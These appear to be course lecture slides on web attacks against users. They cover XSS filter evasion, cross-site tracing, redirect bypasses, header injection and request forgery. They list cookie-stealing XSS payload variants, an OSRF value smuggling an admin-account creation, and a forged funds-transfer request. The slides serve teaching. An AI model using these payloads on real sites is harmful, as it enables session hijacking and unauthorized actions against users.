 String is submitted as every parameter to every page of the
application
 Rudimentary black-list filters
 Look for expressions like “<script>”, …
 Remove or encode expression, or block request altogether
 Counterattack:
 Use exploits without the <script> or even “ < > / characters
 Examples:
 “><script > alert(document.cookie)</script >
 “><ScRiPt>alertalert(document.cookie)</ScRiPt >
 “%3e%3cscript%3ealert(document.cookie)%3c/script%3e
 “><scr<script>ipt> alert(document.cookie)</scr</script>ipt>
 %00”>script>alert(document.cookie)</script>
Attacking other users: XSS
 Finding Reflected XSS Vulnerabilities
 Look for input string that is reflected back to user
 Test string needs to be unique and easily searchable
 “Crubbardtestoin”
 Submit test string as every parameter using every method, including HTTP headers
 Review the HTML source code to identify the location of the test string
 Change the test string to test for attack possibilities
 XSS bullets at ha.ckers.org
 Signature based filters (e.g. ASP.NET anti-XSS filters) will mangle reflection for simple attack
input, but
 Often overlook:
 whitespaces before or after tags,
 capitalized letters,
 only match opened and closed tags,
 …
 Data Sanitization
 Can remove certain expressions altogether, but then no longer check for further vulnerabilities
 <scr<script>ipt>
 Can be beaten by inserting NULL characters
 Escapes quotation characters with a backslash
 …
 Use length filters that can be avoided by contracting JavaScripts (free software available)
Attacking other users: XSS

 HTTP Only Cookies

 An application sets a cookie as http only
 Set-Cookie: SessId=124987389346541029: HttpOnly
 Supporting browsers will not allow client side
scripts to access the cookie
 This dismantles one of the methods for session
hijacking
Attacking other users: XSS
 Cross-Site Tracing
 Enables client-side scripts to circumvent the HttpOnly
protection
 Uses HTTP TRACE method
 used for diagnostics
 enabled by many web servers by default
 If server receives a request using the TRACE method, default
server behavior is to respond with a message whose body
contains exactly the same text of the trace request
received by the server.
 Purpose is to allow seeing changes made by proxies, etc.
 Browsers submit all cookies in HTTP requests including
requests that are made with TRACE and including cookies
that are HttpOnly
Attacking other users: XSS
 Redirection Attacks
 Applications takes user-controllable input for redirection

 Circumvention of typical protection mechanisms

 Application checks whether user-supplied string starts with http://

and then blocks the redirection or removes http://

 Tricks of the trade:
 Capitalize some of the letters in http
 Start with a null character (%00)
 Use a leading space
 Use double http
 Similar tricks when application checks whether url is in the same site
as application
 Application adds prefix http://bobadilla.engr.scu.edu to user input
 This is vulnerable if the prefix does not end with a ‘/’ character
Attacking other users: XSS

 HTTP Header Injection

 Application inserts user-controllable data in an
HTTP header returned by application
 Can be used to inject cookies
 Can be used to poison proxy server cache
Attacking other users: XSS

 Request Forgery - Session Riding

 On-Site Request Forgery OSRF
 Payload for XSS
 Vulnerability profile: Site allows users to submit
items viewed by others, but XSS might not be
feasible.
Attacking other users: XSS
 Example:
 Message Board Application
 Messages are submitted with a request such as
POST /submit.php
Host: bobadilla.engr.scu.edu
Content-Length: 41
type=question&name=foo&message=bar
 Request results in
<tr> <td><img src=“/images/question.gif”></td>
<td>foo</td>
<td>bar</td></tr>
 Now change your request type to
type=../admin/newUser.php?username=foo&password=bar&role=admin#
 Request results in
<tr> <td><img src=“/images/ =../admin/newUser.php?
username=foo&password=bar&role=admin#.gif”></td>
<td> </td>
<td> </td></tr>
 When an administrator is induced to issue this crafter request, the action is performed
Attacking other users: XSS
 XSS Request Forgery (XSRF)
 Attacker creates website
 User’s browser submits a request directly to a vulnerable application

 Primarily arise when HTTP cookies are used to transmit session tokens.

 2004 (Dave Amstrong): Possible to have visitors make automatic bids to an

ebay auction
 Example:
 Find a function that performs some interesting action on behalf of user and that
has simple request parameters
POST TransferFunds.asp HTTP/1.1
Host: bobadilla.engr.scu.edu
FromAccount=current&ToSortCode=123456&ToAccountNumber=12
34567&Amount=1000.00&When=Now
 Create an HTML page that issues the request without any user interaction
 For GET request, use an <img> tag with src set to the vulnerable URL
 For POST request, use a form with hidden forms